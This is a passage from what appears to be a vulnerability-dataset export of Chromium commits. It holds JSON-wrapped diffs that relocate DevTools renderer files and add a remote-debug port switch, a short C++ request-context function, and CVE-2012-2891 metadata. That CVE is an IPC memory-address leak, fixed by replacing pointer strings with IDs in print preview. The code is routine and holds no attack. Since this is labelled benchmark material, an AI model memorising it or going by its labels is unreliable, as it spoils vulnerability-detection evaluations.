@@\n #include \"chrome/renderer/chrome_render_process_observer.h\"\n #include \"chrome/renderer/chrome_render_view_observer.h\"\n #include \"chrome/renderer/content_settings_observer.h\"\n-#include \"chrome/renderer/devtools_agent.h\"\n-#include \"chrome/renderer/devtools_agent_filter.h\"\n #include \"chrome/renderer/extensions/bindings_utils.h\"\n #include \"chrome/renderer/extensions/event_bindings.h\"\n #include \"chrome/renderer/extensions/extension_dispatcher.h\"\n@@ -165,7 +163,6 @@ void ChromeContentRendererClient::RenderThreadStarted() {\n #endif\n \n RenderThread* thread = RenderThread::current();\n- thread->AddFilter(new DevToolsAgentFilter());\n \n thread->AddObserver(chrome_observer_.get());\n thread->AddObserver(extension_dispatcher_.get());\n@@ -214,7 +211,6 @@ void ChromeContentRendererClient::RenderThreadStarted() {\n void ChromeContentRendererClient::RenderViewCreated(RenderView* render_view) {\n ContentSettingsObserver* content_settings =\n new ContentSettingsObserver(render_view);\n- new DevToolsAgent(render_view);\n new ExtensionHelper(render_view, extension_dispatcher_.get());\n new PageLoadHistograms(render_view, histogram_snapshots_.get());\n new PrintWebViewHelper(render_view);"}<_**next**_>{"sha": "d93f0f2070b6455063c5447b4a3331ab85a4e09c", "filename": "content/browser/renderer_host/browser_render_process_host.cc", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/browser/renderer_host/browser_render_process_host.cc", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/browser/renderer_host/browser_render_process_host.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/browser_render_process_host.cc?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -576,6 +576,7 @@ void BrowserRenderProcessHost::PropagateBrowserCommandLineToRenderer(\n switches::kPpapiOutOfProcess,\n switches::kRecordMode,\n switches::kRegisterPepperPlugins,\n+ switches::kRemoteShellPort,\n switches::kRendererAssertTest,\n #if !defined(OFFICIAL_BUILD)\n switches::kRendererCheckFalseTest,"}<_**next**_>{"sha": "20dca2a52f782de05afc03043399ee8ac289aeff", "filename": "content/common/content_switches.cc", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/common/content_switches.cc", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/common/content_switches.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/content_switches.cc?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -371,6 +371,9 @@ const char kProfileImportProcess[] = \"profile-import\";\n // Register Pepper plugins (see pepper_plugin_registry.cc for its format).\n const char kRegisterPepperPlugins[] = \"register-pepper-plugins\";\n \n+// Enable remote debug / automation shell on the specified port.\n+const char kRemoteShellPort[] = \"remote-shell-port\";\n+\n // Causes the renderer process to throw an assertion on launch.\n const char kRendererAssertTest[] = \"renderer-assert-test\";\n "}<_**next**_>{"sha": "a61a35ba30d402f78bc0af6004c7d1fb2090ceb9", "filename": "content/common/content_switches.h", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/common/content_switches.h", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/common/content_switches.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/content_switches.h?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -120,6 +120,7 @@ extern const char kProcessType[];\n extern const char kProfileImportProcess[];\n extern const char kRecordMode[];\n extern const char kRegisterPepperPlugins[];\n+extern const char kRemoteShellPort[];\n extern const char kRendererAssertTest[];\n extern const char kRendererCmdPrefix[];\n extern const char kRendererCrashTest[];"}<_**next**_>{"sha": "64c2f8ae2060f9f3658baaeb62e35b5c1eda69d3", "filename": "content/content_renderer.gypi", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/content_renderer.gypi", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/content_renderer.gypi", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/content_renderer.gypi?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -36,6 +36,12 @@\n 'renderer/content_renderer_client.h',\n 'renderer/device_orientation_dispatcher.cc',\n 'renderer/device_orientation_dispatcher.h',\n+ 'renderer/devtools_agent.cc',\n+ 'renderer/devtools_agent.h',\n+ 'renderer/devtools_agent_filter.cc',\n+ 'renderer/devtools_agent_filter.h',\n+ 'renderer/devtools_client.cc',\n+ 'renderer/devtools_client.h',\n 'renderer/external_popup_menu.cc',\n 'renderer/external_popup_menu.h',\n 'renderer/geolocation_dispatcher.cc',"}<_**next**_>{"sha": "b1548131164e0c628b03b4831629e28f09258c01", "filename": "content/renderer/devtools_agent.cc", "status": "renamed", "additions": 4, "deletions": 4, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/devtools_agent.cc", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/devtools_agent.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/devtools_agent.cc?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -2,17 +2,17 @@\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n-#include \"chrome/renderer/devtools_agent.h\"\n+#include \"content/renderer/devtools_agent.h\"\n \n #include <map>\n \n #include \"base/command_line.h\"\n #include \"base/message_loop.h\"\n #include \"base/process.h\"\n #include \"base/string_number_conversions.h\"\n-#include \"chrome/common/chrome_switches.h\"\n-#include \"chrome/renderer/devtools_agent_filter.h\"\n-#include \"chrome/renderer/devtools_client.h\"\n+#include \"content/common/content_switches.h\"\n+#include \"content/renderer/devtools_agent_filter.h\"\n+#include \"content/renderer/devtools_client.h\"\n #include \"content/common/devtools_messages.h\"\n #include \"content/common/view_messages.h\"\n #include \"content/renderer/render_view.h\"", "previous_filename": "chrome/renderer/devtools_agent.cc"}<_**next**_>{"sha": "a1693b52d7440a53da6c94e40e14d0cb54662c0e", "filename": "content/renderer/devtools_agent.h", "status": "renamed", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/devtools_agent.h", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/devtools_agent.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/devtools_agent.h?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -2,8 +2,8 @@\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n-#ifndef CHROME_RENDERER_DEVTOOLS_AGENT_H_\n-#define CHROME_RENDERER_DEVTOOLS_AGENT_H_\n+#ifndef CONTENT_RENDERER_DEVTOOLS_AGENT_H_\n+#define CONTENT_RENDERER_DEVTOOLS_AGENT_H_\n #pragma once\n \n #include <map>\n@@ -73,4 +73,4 @@ class DevToolsAgent : public RenderViewObserver,\n DISALLOW_COPY_AND_ASSIGN(DevToolsAgent);\n };\n \n-#endif // CHROME_RENDERER_DEVTOOLS_AGENT_H_\n+#endif // CONTENT_RENDERER_DEVTOOLS_AGENT_H_", "previous_filename": "chrome/renderer/devtools_agent.h"}<_**next**_>{"sha": "4890a36420eda9b95b5d409f327d82942749d61e", "filename": "content/renderer/devtools_agent_filter.cc", "status": "renamed", "additions": 2, "deletions": 3, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/devtools_agent_filter.cc", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/devtools_agent_filter.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/devtools_agent_filter.cc?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -2,12 +2,11 @@\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n-#include \"chrome/renderer/devtools_agent_filter.h\"\n+#include \"content/renderer/devtools_agent_filter.h\"\n \n #include \"base/message_loop.h\"\n-#include \"chrome/common/render_messages.h\"\n-#include \"chrome/renderer/devtools_agent.h\"\n #include \"content/common/devtools_messages.h\"\n+#include \"content/renderer/devtools_agent.h\"\n #include \"content/renderer/plugin_channel_host.h\"\n #include \"content/renderer/render_view.h\"\n #include \"third_party/WebKit/Source/WebKit/chromium/public/WebDevToolsAgent.h\"", "previous_filename": "chrome/renderer/devtools_agent_filter.cc"}<_**next**_>{"sha": "05838859de469c4f476ede1c429b40d0943ae272", "filename": "content/renderer/devtools_agent_filter.h", "status": "renamed", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/devtools_agent_filter.h", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/devtools_agent_filter.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/devtools_agent_filter.h?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -2,8 +2,8 @@\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n-#ifndef CHROME_RENDERER_DEVTOOLS_AGENT_FILTER_H_\n-#define CHROME_RENDERER_DEVTOOLS_AGENT_FILTER_H_\n+#ifndef CONTENT_RENDERER_DEVTOOLS_AGENT_FILTER_H_\n+#define CONTENT_RENDERER_DEVTOOLS_AGENT_FILTER_H_\n #pragma once\n \n #include <string>\n@@ -51,4 +51,4 @@ class DevToolsAgentFilter : public IPC::ChannelProxy::MessageFilter {\n DISALLOW_COPY_AND_ASSIGN(DevToolsAgentFilter);\n };\n \n-#endif // CHROME_RENDERER_DEVTOOLS_AGENT_FILTER_H_\n+#endif // CONTENT_RENDERER_DEVTOOLS_AGENT_FILTER_H_", "previous_filename": "chrome/renderer/devtools_agent_filter.h"}<_**next**_>{"sha": "cdebbba44281cff4f729272d5641f7ec3c601f3f", "filename": "content/renderer/devtools_client.cc", "status": "renamed", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/devtools_client.cc", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/devtools_client.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/devtools_client.cc?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -2,12 +2,12 @@\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n-#include \"chrome/renderer/devtools_client.h\"\n+#include \"content/renderer/devtools_client.h\"\n \n #include \"base/command_line.h\"\n #include \"base/message_loop.h\"\n #include \"base/utf_string_conversions.h\"\n-#include \"chrome/common/chrome_switches.h\"\n+#include \"content/common/content_switches.h\"\n #include \"content/common/devtools_messages.h\"\n #include \"content/renderer/render_thread.h\"\n #include \"content/renderer/render_view.h\"", "previous_filename": "chrome/renderer/devtools_client.cc"}<_**next**_>{"sha": "d00d33f4035fbc82ef540b00f7e2fb547c759805", "filename": "content/renderer/devtools_client.h", "status": "renamed", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/devtools_client.h", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/devtools_client.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/devtools_client.h?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -2,8 +2,8 @@\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n-#ifndef CHROME_RENDERER_DEVTOOLS_CLIENT_H_\n-#define CHROME_RENDERER_DEVTOOLS_CLIENT_H_\n+#ifndef CONTENT_RENDERER_DEVTOOLS_CLIENT_H_\n+#define CONTENT_RENDERER_DEVTOOLS_CLIENT_H_\n #pragma once\n \n #include <string>\n@@ -62,4 +62,4 @@ class DevToolsClient : public RenderViewObserver,\n DISALLOW_COPY_AND_ASSIGN(DevToolsClient);\n };\n \n-#endif // CHROME_RENDERER_DEVTOOLS_CLIENT_H_\n+#endif // CONTENT_RENDERER_DEVTOOLS_CLIENT_H_", "previous_filename": "chrome/renderer/devtools_client.h"}<_**next**_>{"sha": "ba95709592052ee4aac890d5942567c9ca3262a8", "filename": "content/renderer/render_thread.cc", "status": "modified", "additions": 7, "deletions": 0, "changes": 7, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/render_thread.cc", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/render_thread.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_thread.cc?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -34,6 +34,7 @@\n #include \"content/common/web_database_observer_impl.h\"\n #include \"content/plugin/npobject_util.h\"\n #include \"content/renderer/content_renderer_client.h\"\n+#include \"content/renderer/devtools_agent_filter.h\"\n #include \"content/renderer/gpu/gpu_channel_host.h\"\n #include \"content/renderer/indexed_db_dispatcher.h\"\n #include \"content/renderer/media/audio_input_message_filter.h\"\n@@ -183,6 +184,9 @@ void RenderThread::Init() {\n audio_message_filter_ = new AudioMessageFilter();\n AddFilter(audio_message_filter_.get());\n \n+ devtools_agent_message_filter_ = new DevToolsAgentFilter();\n+ AddFilter(devtools_agent_message_filter_.get());\n+\n content::GetContentClient()->renderer()->RenderThreadStarted();\n \n TRACE_EVENT_END_ETW(\"RenderThread::Init\", 0, \"\");\n@@ -197,6 +201,9 @@ RenderThread::~RenderThread() {\n web_database_observer_impl_->WaitForAllDatabasesToClose();\n \n // Shutdown in reverse of the initialization order.\n+ RemoveFilter(devtools_agent_message_filter_.get());\n+ devtools_agent_message_filter_ = NULL;\n+\n RemoveFilter(audio_input_message_filter_.get());\n audio_input_message_filter_ = NULL;\n "}<_**next**_>{"sha": "d8042c93d5b99f83404af8de069859d95ae355d7", "filename": "content/renderer/render_thread.h", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/render_thread.h", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/render_thread.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_thread.h?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -25,6 +25,7 @@ class AppCacheDispatcher;\n class AudioInputMessageFilter;\n class AudioMessageFilter;\n class DBMessageFilter;\n+class DevToolsAgentFilter;\n class FilePath;\n class GpuChannelHost;\n class IndexedDBDispatcher;\n@@ -264,6 +265,7 @@ class RenderThread : public RenderThreadBase,\n scoped_refptr<DBMessageFilter> db_message_filter_;\n scoped_refptr<AudioInputMessageFilter> audio_input_message_filter_;\n scoped_refptr<AudioMessageFilter> audio_message_filter_;\n+ scoped_refptr<DevToolsAgentFilter> devtools_agent_message_filter_;\n \n // Used on multiple threads.\n scoped_refptr<VideoCaptureImplManager> vc_manager_;"}<_**next**_>{"sha": "1eeeb773153494d3cd70102a1a9d02fc0e50842a", "filename": "content/renderer/render_view.cc", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/render_view.cc", "raw_url": "https://github.com/chromium/chromium/raw/8262245d384be025f13e2a5b3a03b7e5c98374ce/content/renderer/render_view.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/render_view.cc?ref=8262245d384be025f13e2a5b3a03b7e5c98374ce", "patch": "@@ -40,6 +40,7 @@\n #include \"content/common/url_constants.h\"\n #include \"content/common/view_messages.h\"\n #include \"content/renderer/content_renderer_client.h\"\n+#include \"content/renderer/devtools_agent.h\"\n #include \"content/renderer/device_orientation_dispatcher.h\"\n #include \"content/renderer/mhtml_generator.h\"\n #include \"content/renderer/external_popup_menu.h\"\n@@ -409,6 +410,8 @@ RenderView::RenderView(RenderThreadBase* render_thread,\n \n new MHTMLGenerator(this);\n \n+ new DevToolsAgent(this);\n+\n if (command_line.HasSwitch(switches::kEnableMediaStream)) {\n media_stream_impl_ = new MediaStreamImpl(\n RenderThread::current()->video_capture_impl_manager());"}
|
virtual net::URLRequestContext* GetRequestContext(
ResourceType::Type resource_type) {
net::URLRequestContextGetter* request_context = request_context_;
if (resource_type == ResourceType::MEDIA)
request_context = media_request_context_;
return request_context->GetURLRequestContext();
}
|
virtual net::URLRequestContext* GetRequestContext(
ResourceType::Type resource_type) {
net::URLRequestContextGetter* request_context = request_context_;
if (resource_type == ResourceType::MEDIA)
request_context = media_request_context_;
return request_context->GetURLRequestContext();
}
|
C
| null | null | null |
@@ -576,6 +576,7 @@ void BrowserRenderProcessHost::PropagateBrowserCommandLineToRenderer(
switches::kPpapiOutOfProcess,
switches::kRecordMode,
switches::kRegisterPepperPlugins,
+ switches::kRemoteShellPort,
switches::kRendererAssertTest,
#if !defined(OFFICIAL_BUILD)
switches::kRendererCheckFalseTest,
|
Chrome
|
8262245d384be025f13e2a5b3a03b7e5c98374ce
|
2469a22063c3539147f55fe899a8dabc12901c01
| 0
|
virtual net::URLRequestContext* GetRequestContext(
ResourceType::Type resource_type) {
net::URLRequestContextGetter* request_context = request_context_;
// If the request has resource type of ResourceType::MEDIA, we use a request
// context specific to media for handling it because these resources have
// specific needs for caching.
if (resource_type == ResourceType::MEDIA)
request_context = media_request_context_;
return request_context->GetURLRequestContext();
}
|
112,813
| null |
Remote
|
Not required
| null |
CVE-2012-2891
|
https://www.cvedetails.com/cve/CVE-2012-2891/
|
CWE-200
|
Low
|
Partial
| null | null |
2012-09-26
| 5
|
The IPC implementation in Google Chrome before 22.0.1229.79 allows attackers to obtain potentially sensitive information about memory addresses via unspecified vectors.
|
2017-09-18
|
+Info
| 0
|
https://github.com/chromium/chromium/commit/116d0963cadfbf55ef2ec3d13781987c4d80517a
|
116d0963cadfbf55ef2ec3d13781987c4d80517a
|
Print preview: Use an ID instead of memory pointer string in WebUI.
BUG=144051
Review URL: https://chromiumcodereview.appspot.com/10870003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
chrome/renderer/chrome_mock_render_thread.cc
|
{"sha": "c03c51998e84b755a01af37f111faec14f227eb0", "filename": "chrome/browser/printing/print_preview_data_service.cc", "status": "modified", "additions": 21, "deletions": 27, "changes": 48, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/printing/print_preview_data_service.cc", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/printing/print_preview_data_service.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/printing/print_preview_data_service.cc?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -6,6 +6,7 @@\n \n #include \"base/memory/ref_counted_memory.h\"\n #include \"base/memory/singleton.h\"\n+#include \"base/stl_util.h\"\n #include \"printing/print_job_constants.h\"\n \n // PrintPreviewDataStore stores data for preview workflow and preview printing\n@@ -30,10 +31,8 @@ class PrintPreviewDataStore : public base::RefCounted<PrintPreviewDataStore> {\n // Get the preview page for the specified |index|.\n void GetPreviewDataForIndex(int index,\n scoped_refptr<base::RefCountedBytes>* data) {\n- if (index != printing::COMPLETE_PREVIEW_DOCUMENT_INDEX &&\n- index < printing::FIRST_PAGE_INDEX) {\n+ if (IsInvalidIndex(index))\n return;\n- }\n \n PreviewPageDataMap::iterator it = page_data_map_.find(index);\n if (it != page_data_map_.end())\n@@ -42,21 +41,17 @@ class PrintPreviewDataStore : public base::RefCounted<PrintPreviewDataStore> {\n \n // Set/Update the preview data entry for the specified |index|.\n void SetPreviewDataForIndex(int index, const base::RefCountedBytes* data) {\n- if (index != printing::COMPLETE_PREVIEW_DOCUMENT_INDEX &&\n- index < printing::FIRST_PAGE_INDEX) {\n+ if (IsInvalidIndex(index))\n return;\n- }\n \n page_data_map_[index] = const_cast<base::RefCountedBytes*>(data);\n }\n \n // Returns the available draft page count.\n int GetAvailableDraftPageCount() {\n int page_data_map_size = page_data_map_.size();\n- if (page_data_map_.find(printing::COMPLETE_PREVIEW_DOCUMENT_INDEX) !=\n- page_data_map_.end()) {\n+ if (ContainsKey(page_data_map_, printing::COMPLETE_PREVIEW_DOCUMENT_INDEX))\n page_data_map_size--;\n- }\n return page_data_map_size;\n }\n \n@@ -73,6 +68,11 @@ class PrintPreviewDataStore : public base::RefCounted<PrintPreviewDataStore> {\n \n ~PrintPreviewDataStore() {}\n \n+ static bool IsInvalidIndex(int index) {\n+ return (index != printing::COMPLETE_PREVIEW_DOCUMENT_INDEX &&\n+ index < printing::FIRST_PAGE_INDEX);\n+ }\n+\n PreviewPageDataMap page_data_map_;\n \n DISALLOW_COPY_AND_ASSIGN(PrintPreviewDataStore);\n@@ -90,37 +90,31 @@ PrintPreviewDataService::~PrintPreviewDataService() {\n }\n \n void PrintPreviewDataService::GetDataEntry(\n- const std::string& preview_ui_addr_str,\n+ int32 preview_ui_id,\n int index,\n scoped_refptr<base::RefCountedBytes>* data_bytes) {\n *data_bytes = NULL;\n- PreviewDataStoreMap::iterator it = data_store_map_.find(preview_ui_addr_str);\n+ PreviewDataStoreMap::const_iterator it = data_store_map_.find(preview_ui_id);\n if (it != data_store_map_.end())\n it->second->GetPreviewDataForIndex(index, data_bytes);\n }\n \n void PrintPreviewDataService::SetDataEntry(\n- const std::string& preview_ui_addr_str,\n+ int32 preview_ui_id,\n int index,\n const base::RefCountedBytes* data_bytes) {\n- PreviewDataStoreMap::iterator it = data_store_map_.find(preview_ui_addr_str);\n- if (it == data_store_map_.end())\n- data_store_map_[preview_ui_addr_str] = new PrintPreviewDataStore();\n+ if (!ContainsKey(data_store_map_, preview_ui_id))\n+ data_store_map_[preview_ui_id] = new PrintPreviewDataStore();\n \n- data_store_map_[preview_ui_addr_str]->SetPreviewDataForIndex(index,\n- data_bytes);\n+ data_store_map_[preview_ui_id]->SetPreviewDataForIndex(index, data_bytes);\n }\n \n-void PrintPreviewDataService::RemoveEntry(\n- const std::string& preview_ui_addr_str) {\n- PreviewDataStoreMap::iterator it = data_store_map_.find(preview_ui_addr_str);\n- if (it != data_store_map_.end())\n- data_store_map_.erase(it);\n+void PrintPreviewDataService::RemoveEntry(int32 preview_ui_id) {\n+ data_store_map_.erase(preview_ui_id);\n }\n \n-int PrintPreviewDataService::GetAvailableDraftPageCount(\n- const std::string& preview_ui_addr_str) {\n- if (data_store_map_.find(preview_ui_addr_str) != data_store_map_.end())\n- return data_store_map_[preview_ui_addr_str]->GetAvailableDraftPageCount();\n- return 0;\n+int PrintPreviewDataService::GetAvailableDraftPageCount(int32 preview_ui_id) {\n+ PreviewDataStoreMap::const_iterator it = data_store_map_.find(preview_ui_id);\n+ return (it == data_store_map_.end()) ?\n+ 0 : it->second->GetAvailableDraftPageCount();\n }"}<_**next**_>{"sha": "ca2fe83e2a7fd2bfbadafbc6ad6d3bf70bca2316", "filename": "chrome/browser/printing/print_preview_data_service.h", "status": "modified", "additions": 6, "deletions": 6, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/printing/print_preview_data_service.h", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/printing/print_preview_data_service.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/printing/print_preview_data_service.h?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -28,30 +28,30 @@ class PrintPreviewDataService {\n // |printing::COMPLETE_PREVIEW_DOCUMENT_INDEX| to represent complete preview\n // data. Use |index| to retrieve a specific preview page data. |data| is set\n // to NULL if the requested page is not yet available.\n- void GetDataEntry(const std::string& preview_ui_addr_str, int index,\n+ void GetDataEntry(int32 preview_ui_id, int index,\n scoped_refptr<base::RefCountedBytes>* data);\n \n // Set/Update the data entry in PrintPreviewDataStore. |index| is zero-based\n // or |printing::COMPLETE_PREVIEW_DOCUMENT_INDEX| to represent complete\n // preview data. Use |index| to set/update a specific preview page data.\n // NOTE: PrintPreviewDataStore owns the data. Do not refcount |data| before\n // calling this function. It will be refcounted in PrintPreviewDataStore.\n- void SetDataEntry(const std::string& preview_ui_addr_str, int index,\n+ void SetDataEntry(int32 preview_ui_id, int index,\n const base::RefCountedBytes* data);\n \n // Remove the corresponding PrintPreviewUI entry from the map.\n- void RemoveEntry(const std::string& preview_ui_addr_str);\n+ void RemoveEntry(int32 preview_ui_id);\n \n // Returns the available draft page count.\n- int GetAvailableDraftPageCount(const std::string& preview_ui_addr_str);\n+ int GetAvailableDraftPageCount(int32 preview_ui_id);\n \n private:\n friend struct DefaultSingletonTraits<PrintPreviewDataService>;\n \n // 1:1 relationship between PrintPreviewUI and data store object.\n- // Key: Print preview UI address string.\n+ // Key: PrintPreviewUI ID.\n // Value: Print preview data store object.\n- typedef std::map<std::string, scoped_refptr<PrintPreviewDataStore> >\n+ typedef std::map<int32, scoped_refptr<PrintPreviewDataStore> >\n PreviewDataStoreMap;\n \n PrintPreviewDataService();"}<_**next**_>{"sha": "c4aedae8c083ed8425fc4a2bfaaa1afa60308088", "filename": "chrome/browser/printing/printing_message_filter.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/printing/printing_message_filter.cc", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/printing/printing_message_filter.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/printing/printing_message_filter.cc?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -374,10 +374,10 @@ void PrintingMessageFilter::OnUpdatePrintSettingsReply(\n }\n }\n \n-void PrintingMessageFilter::OnCheckForCancel(const std::string& preview_ui_addr,\n+void PrintingMessageFilter::OnCheckForCancel(int32 preview_ui_id,\n int preview_request_id,\n bool* cancel) {\n- PrintPreviewUI::GetCurrentPrintPreviewStatus(preview_ui_addr,\n+ PrintPreviewUI::GetCurrentPrintPreviewStatus(preview_ui_id,\n preview_request_id,\n cancel);\n }"}<_**next**_>{"sha": "d8fdc92faf49d7e31970022e264cb752b098d408", "filename": "chrome/browser/printing/printing_message_filter.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/printing/printing_message_filter.h", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/printing/printing_message_filter.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/printing/printing_message_filter.h?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -107,7 +107,7 @@ class PrintingMessageFilter : public content::BrowserMessageFilter {\n IPC::Message* reply_msg);\n \n // Check to see if print preview has been cancelled.\n- void OnCheckForCancel(const std::string& preview_ui_addr,\n+ void OnCheckForCancel(int32 preview_ui_id,\n int preview_request_id,\n bool* cancel);\n "}<_**next**_>{"sha": "90eafa8edc49e286c64a88a0a543204d4539f1d4", "filename": "chrome/browser/resources/print_preview/native_layer.js", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/resources/print_preview/native_layer.js", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/resources/print_preview/native_layer.js", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/resources/print_preview/native_layer.js?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -546,7 +546,7 @@ cr.define('print_preview', function() {\n \n /**\n * Called when no pipelining previewed pages.\n- * @param {string} previewUid Preview unique identifier.\n+ * @param {number} previewUid Preview unique identifier.\n * @param {number} previewResponseId The preview request id that resulted in\n * this response.\n * @private\n@@ -564,7 +564,7 @@ cr.define('print_preview', function() {\n * Check if the settings have changed and request a regeneration if needed.\n * Called from PrintPreviewUI::OnDidPreviewPage().\n * @param {number} pageNumber The page number, 0-based.\n- * @param {string} previewUid Preview unique identifier.\n+ * @param {number} previewUid Preview unique identifier.\n * @param {number} previewResponseId The preview request id that resulted in\n * this response.\n * @private\n@@ -582,7 +582,7 @@ cr.define('print_preview', function() {\n * Update the print preview when new preview data is available.\n * Create the PDF plugin as needed.\n * Called from 